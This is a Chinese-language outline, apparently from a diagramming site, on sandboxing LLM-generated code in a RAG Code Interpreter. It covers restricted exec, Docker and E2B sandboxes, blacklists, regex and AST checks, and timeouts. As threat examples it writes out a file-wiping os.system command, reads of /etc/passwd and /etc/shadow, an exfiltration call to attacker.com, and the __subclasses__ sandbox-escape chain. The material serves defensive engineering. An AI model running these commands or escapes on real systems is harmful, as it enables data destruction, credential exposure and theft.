Code Interpreter 从沙箱安全到工程落地
2026-04-21 22:53:41 0 举报AI智能生成
Code Interpreter 让 Agent 从"知识检索工具"进化为"数据分析助手",这是 RAG 系统能力的重要扩展。但能力越大,安全责任越大。
Interpreter
沙箱安全
模版推荐
作者其他创作
大纲/内容
为什么 RAG 系统需要 Code Interpreter
Code Interpreter 的价值所在:它让 Agent 从"查询知识"升级为"执行计算"
RAG 的本质是"检索+生成文本"
不会执行计算
不会处理结构化数据
不会生成图表
案例
用户上传了一个 Excel 文件,里面有 100 行企业数据,每行有营收、负债率、现金流等字段。要完成这个任务,系统必须能够
读取 Excel 文件,解析成结构化数据
按照用户需求写分析代码
执行这段代码
把图表结果返回给用户
怎么安全地执行 LLM 生成的代码
exec() 直接用,有多危险
攻击场景 1:删除服务器文件
import os os.system("rm -rf /data/production")
如果 LLM 被注入了恶意指令,或者用户直接在请求里嵌入这段逻辑,exec() 会毫不犹豫地执行。生产数据库文件、模型权重文件、用户上传的所有数据,全部可以被清空
攻击场景 2:读取系统敏感文件
passwd_content = open('/etc/passwd').read() shadow_content = open('/etc/shadow').read() print(passwd_content)
服务器的用户账户信息、加密后的密码哈希,就这样被读出来打印在日志里,或者通过其他方式泄露出去。
攻击场景 3:网络外传敏感数据
import requests sensitive_data = df.to_json() # df 是用户上传的企业财务数据 requests.get('http://attacker.com/collect', params={'data': sensitive_data})
户刚上传的数据,被悄悄发送到攻击者的服务器。整个过程对用户完全透明,日志里只显示"代码执行成功"
沙箱设计的三种方案
Python 受限执行环境(低成本,中等安全)
核心思路
不禁止 exec(),而是限制 exec() 的执行环境
exec() 函数可以接受第二个参数 globals 和第三个参数 locals,来控制代码的执行上下文
构造一个受限的 globals 字典
只预加载允许的模块(pandas、numpy、matplotlib),不允许代码自行 import
在执行前做静态扫描,检测危险的代码模式
只预加载允许的模块(pandas、numpy、matplotlib),不允许代码自行 import
<br>
ALLOWED_MODULES = {'pandas', 'numpy', 'matplotlib', 'json', 'math', 'statistics'}<br>FORBIDDEN_BUILTINS = {'exec', 'eval', 'open', 'import', '__import__', 'compile'}<br><br>class SecurityError(Exception):<br> """自定义安全异常,用于代码安全检查报错"""<br> pass<br><br>def safe_exec(code: str, user_data: dict = None) -> dict:<br> """在受限环境中执行Python代码"""<br> # 构建安全的执行环境<br> safe_globals = {'__builtins__': {k: v for k, v in __builtins__.items() if k not in FORBIDDEN_BUILTINS},<br> 'pd': __import__('pandas'),<br> 'np': __import__('numpy'),<br> 'plt': __import__('matplotlib.pyplot')}<br><br> if user_data:<br> safe_globals.update(user_data)<br><br> # 静态检查:扫描危险模式<br> forbidden_patterns = ['import os', 'import sys', 'subprocess', '__class__', '__bases__', 'open(']<br> for pattern in forbidden_patterns:<br> if pattern in code:<br> raise SecurityError(f"禁止使用: {pattern}")<br><br> local_vars = {}<br> exec(code, safe_globals, local_vars)<br> return local_vars
exec() 函数可以接受第二个参数 globals 和第三个参数 locals,来控制代码的执行上下文
重要局限
Python 的对象系统可以绕过 __builtins__ 限制
通过 [].__class__.__bases__[0].__subclasses__() ,<br>遍历对象继承链,找到危险的类
适合开发测试和对安全要求不是极高的内部系统,<br>不适合直接暴露在公网上的生产服务
人工评测指标
有些指标机器算不出来,需要人判断
正确性(Correctness)
回答是否事实正确
完整性(Completeness)
答案是否覆盖了核心信息
可读性(Fluency)
语言自然、表达流畅
引用充分性(Attribution)
是否标明信息来源
这种方式常见于金融、医疗、政务等对合规性要求极高的领域
Docker 容器隔离(高安全,有启动延迟)
核心思路
彻底隔离执行环境
每次代码执行,都在一个全新的 Docker 容器里进行,容器销毁后,执行痕迹完全消失
关键配置
import docker
import tempfile
import os
def execute_in_docker(code: str, user_data_path: str) -> dict:
client = docker.from_env()
with tempfile.TemporaryDirectory() as tmpdir:
# 将代码写入临时文件
code_file = os.path.join(tmpdir, 'script.py')
with open(code_file, 'w') as f:
f.write(code)
# 启动受限容器
container = client.containers.run(
image='python-sandbox:latest',
command=f'python /sandbox/script.py',
volumes={tmpdir: {'bind': '/sandbox', 'mode': 'ro'}, user_data_path: {'bind': '/data', 'mode': 'ro'}},
network_disabled=True,
mem_limit='256m',
cpu_period=100000,
cpu_quota=50000,
read_only=True,
tmpfs={'/tmp': 'size=64m'},
remove=True,
timeout=10,
detach=False,
)
return parse_output(container)
network_disabled=True
完全切断网络,攻击场景 3(数据外传)完全不可能发生
read_only=True
加上只挂载 /tmp 为可写,代码无法修改系统文件
mem_limit
和 cpu_quota 防止恶意代码耗尽服务器资源
容器销毁后,所有执行痕迹消失,不存在状态污染
唯一的代价是延迟。Docker 容器启动时间大约在 500ms-2s
对于实时交互场景,这个延迟用户是能感知到的
解决方案是维护一个"预热容器池"
提前启动若干容器待命,请求进来直接分配
不去做临时创建
E2B 云端沙箱(推荐生产使用)
E2B(e2b.dev)是专门为 AI 应用提供代码执行沙箱的云服务
本质是托管的微虚拟机沙箱
安全性比 Docker 更高
优势
安全性由服务商保证,不需要自己维护沙箱基础设施
启动时间约 100ms;支持文件上传下载和图表输出
缺点
代价是按次计费,量大时成本会上升
from e2b_code_interpreter import Sandbox<br><br><br>def execute_with_e2b(code: str, csv_data: str) -> dict:<br> """<br> 使用 E2B 沙箱执行代码,处理 CSV 数据并返回执行结果<br> <br> Args:<br> code: 需要执行的代码字符串<br> csv_data: CSV 格式的数据字符串<br> <br> Returns:<br> 包含执行状态、输出结果和图表的字典<br> """<br> with Sandbox() as sandbox:<br> # 上传用户数据到沙箱<br> sandbox.files.write('/home/user/data.csv', csv_data)<br><br> # 执行用户代码<br> execution = sandbox.run_code(code)<br><br> # 执行出错,返回错误信息<br> if execution.error:<br> return {'success': False, 'error': execution.error.value}<br><br> # 提取 base64 编码的图表结果<br> charts = []<br> for result in execution.results:<br> if result.png:<br> charts.append(result.png)<br><br> # 返回成功执行的结果<br> return {<br> 'success': True,<br> 'output': execution.text,<br> 'charts': charts,<br> }
白名单与黑名单的系统性设计
允许哪些模块、禁止哪些模块,如何做到系统性覆盖而不遗漏攻击面?
常见错误
只列了几个显而易见的危险模块(比如 os、sys),<br>但漏掉了很多隐蔽的攻击面
白名单时遵循的原则是"最小权限"
允许的模块(白名单)
ALLOWED_MODULES = {
'pandas', # 数据处理,读取 DataFrame,基础统计
'numpy', # 数值计算,矩阵运算
'matplotlib', # 可视化,生成图表
'seaborn', # 高级可视化(基于 matplotlib)
'json', # JSON 数据格式处理
'math', # 基础数学函数
'statistics', # 统计函数(均值、方差等)
'datetime', # 日期时间处理(财务数据经常需要)
'collections' # Counter、defaultdict 等工具类
}
禁止的模块和函数(黑名单)
FORBIDDEN_MODULES = {<br> 'os', # 系统操作,可以执行 shell 命令<br> 'sys', # 系统模块,可以修改 Python 运行时<br> 'subprocess', # 子进程,可以执行任意系统命令<br> 'socket', # 网络 socket,可以建立任意网络连接<br> 'requests', # HTTP 请求,可以外传数据<br> 'urllib', # URL 处理,同上<br> 'http', # HTTP 库<br> 'ftplib', # FTP,文件传输<br> 'smtplib', # 邮件发送,可以泄露数据<br> 'pickle', # 反序列化,存在代码执行漏洞<br> 'shelve', # 基于 pickle,同上<br> 'ctypes', # 调用 C 库,可以绕过 Python 层限制<br> 'cffi', # 同上<br> 'importlib', # 动态 import,可以绕过模块白名单<br> 'builtins', # 内置模块,可以重新访问被屏蔽的函数<br>}<br><br><br>
FORBIDDEN_BUILTINS = {
'exec', # 动态代码执行
'eval', # 表达式求值(同样危险)
'compile', # 编译代码对象
'open', # 文件 IO
'__import__', # 动态 import
'vars', # 访问对象变量字典,可以探测内部状态
'globals', # 访问全局变量
'locals', # 访问局部变量
'dir', # 列出对象属性,辅助攻击者探测
'getattr', # 属性访问,可以绕过一些限制
'setattr', # 属性设置
'delattr', # 属性删除
}
静态扫描的危险模式
除了模块和函数黑名单,我们还对代码字符串做正则扫描,检测一些特定的攻击模式:
import re
DANGEROUS_PATTERNS = [
r'__class__', # 对象继承链遍历
r'__bases__', # 基类访问
r'__subclasses__', # 子类枚举,Python 沙箱逃逸的常见手段
r'__globals__', # 全局变量访问
r'__builtins__', # 内置函数访问
r'__code__', # 函数代码对象
r'__dict__', # 对象字典
r'chr\(\s*\d+\s*\)', # chr() 可以用来构造被过滤的字符串
r'\\x[0-9a-fA-F]{2}', # 十六进制转义,绕过字符串过滤
r'exec\s*\(', # exec 调用
r'eval\s*\(', # eval 调用
r'open\s*\(', # open 调用
r'import\s+os', # os 模块 import
r'import\s+sys', # sys 模块 import
r'import\s+subprocess' # subprocess import
]
def static_security_check(code: str) -> tuple[bool, str]:
"""静态安全检查,返回 (is_safe, reason)"""
for pattern in DANGEROUS_PATTERNS:
if re.search(pattern, code):
return False, f"检测到危险模式: {pattern}"
return True, ""
chr(111) + chr(115) 可以构造出字符串 "os",然后通过 __import__() 加载 os 模块,绕过简单的字符串匹配。所以我们专门加了 chr() 调用的检测规则。
执行步骤
第一步:接收用户请求和数据文件
用户上传 Excel 文件,系统读取文件内容,转换为 pandas DataFrame,同时记录数据的行列信息。我们加了一个硬性限制:单次处理最多 10000 行,超过则截断并提示用户。这既是安全考虑(防止超大文件耗尽内存),也是性能考虑(避免执行时间超过 10 秒限制)。
def load_user_data(file_path: str) -> pd.DataFrame:
df = pd.read_excel(file_path)
if len(df) > 10000:
df = df.head(10000)
logger.warning(f"数据行数超过限制,已截断至10000行")
return df
第二步:LLM 生成代码(受限 Prompt 引导)
Prompt 设计。不能只是告诉 LLM"生成分析代码",而是要明确限定代码的约束条件:
在 Prompt 里明确告知列名和数据类型,LLM 可以生成更准确的代码,减少因列名拼写错误导致的执行失败
你是数据分析代码生成器。生成的Python代码必须遵守以下限制: <br>1. 只能使用 pandas, numpy, matplotlib 库<br>2. 不能使用 os, sys, subprocess 等系统模块 <br>3. 不能读写系统文件(用户数据已预加载为变量 df) <br>4. 代码必须能在10秒内执行完毕 <br>5. 生成图表时保存为 result.png 可用变量:df(用户上传的数据,pandas DataFrame格式) 列名信息:{df.columns.tolist()} 数据类型:{df.dtypes.to_dict()} 用户需求:{user_request} 请直接输出Python代码,不要添加任何解释。
第三步:静态安全检查
对 LLM 生成的代码执行前面设计的静态扫描,检测危险模式。如果检测到危险内容,直接拒绝,不进入沙箱。
is_safe, reason = static_security_check(generated_code) if not is_safe: logger.error(f"代码安全检查失败: {reason}\n代码内容: {generated_code}") return {'success': False, 'error': '生成的代码包含不安全操作,已被拦截'}
第四步:进入沙箱环境
根据部署环境选择沙箱方案。开发环境用受限 exec,生产环境用 Docker 或 E2B
第五步:超时监控
即使代码通过了静态检查,也可能包含死循环或计算量过大的操作
import signal<br><br>class TimeoutError(Exception):<br> pass<br><br>def timeout_handler(signum, frame):<br> raise TimeoutError("代码执行超时(10秒限制)")<br><br>def execute_with_timeout(code: str, safe_globals: dict, timeout_seconds: int = 10):<br> signal.signal(signal.SIGALRM, timeout_handler)<br> signal.alarm(timeout_seconds)<br> try:<br> local_vars = {}<br> exec(code, safe_globals, local_vars)<br> return local_vars<br> finally:<br> signal.alarm(0)
第六步:执行并捕获输出
第七步:清理临时资源
删除临时文件,如果是 Docker 方案则销毁容器。确保用户数据不会残留在服务器上。
第八步:返回结果给用户
将文本输出、图表(base64 编码)打包返回,前端解码显示。
实战踩坑记录
用户数据量大导致执行超时
一个客户经理上传了一个 5 万行的企业数据表,要求做聚类分析
代码里用了 K-means,在这个数据量下跑了 30 多秒,远超 10 秒限制,每次都被超时中断
处理方案
# 第一层:数据加载时截断 <br>MAX_ROWS = 10000 if len(df) > MAX_ROWS: df = df.sample(n=MAX_ROWS, random_state=42) # 随机采样而非直接截断
# 第二层:在 Prompt 里提醒 LLM 注意效率 <br>prompt_suffix = f""" 注意:数据集有 {len(df)} 行。如果需要使用复杂算法(如聚类、矩阵分解), 请先对数据进行采样(最多1000行)再运行,以确保在10秒内完成。 """
图片返回给前端后显示模糊
LLM 偶尔生成语法错误的代码
加了一层语法预检查
import ast<br><br>def syntax_check(code: str) -> tuple[bool, str]:<br> try:<br> ast.parse(code)<br> return True, ""<br> except SyntaxError as e:<br> return False, f"代码语法错误: {e}"
使用 ast.parse() 做语法检查
它只解析不执行,不会触发任何副作用
ast 模块可以用来做更精细的代码分析
检查所有的 import 语句,验证是否都在白名单里
比正则扫描更可靠,它是基于 AST(抽象语法树)的分析,不会被字符串拼接等手段绕过
def check_imports(code: str) -> tuple[bool, str]:
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for alias in node.names:
module_name = alias.name.split('.')[0]
if module_name not in ALLOWED_MODULES:
return False, f"禁止 import 模块: {module_name}"
elif isinstance(node, ast.ImportFrom):
if node.module:
module_name = node.module.split('.')[0]
if module_name not in ALLOWED_MODULES:
return False, f"禁止 from {node.module} import"
return True, ""
总结
先说清楚威胁模型
Code Interpreter 最核心的安全问题是:<br>LLM 生成的代码是不可信的,用户输入也是不可信的
三类攻击层面
系统命令执行(通过 os/subprocess)
文件系统读写(通过 open)
网络数据外传(通过 requests/socket)
说沙箱方案的选择逻辑
受限 exec 环境(低成本,适合内部系统)
Docker 容器隔离(高安全,适合生产)
E2B 云端沙箱(托管方案,适合快速上线)
选择的关键因素是安全等级要求、可接受的延迟,以及运维成本。
说白名单/黑名单的系统性设计
白名单要按业务场景定义(数据分析场景只需要 pandas/numpy/matplotlib 等)
黑名单要覆盖所有攻击面,包括模块、内置函数、危险代码模式(比如 Python 沙箱逃逸用到的 __subclasses__ 遍历)
要用 ast.parse 做语法级分析,比字符串匹配更可靠。
如何防止 Python 沙箱逃逸
受限 exec 无法完全防止有经验的攻击者通过继承链遍历等手段逃逸
生产环境推荐使用 Docker 或专用沙箱(E2B),用操作系统级别的隔离替代语言级别的限制,安全性更有保证
Code Interpreter 让 Agent 从"知识检索工具"进化为"数据分析助手",这是 RAG 系统能力的重要扩展。
收藏
立即使用
收藏
立即使用
收藏
立即使用
收藏
立即使用
Collect
Get Started
Collect
Get Started
Collect
Get Started
Collect
Get Started
评论
0 条评论
下一页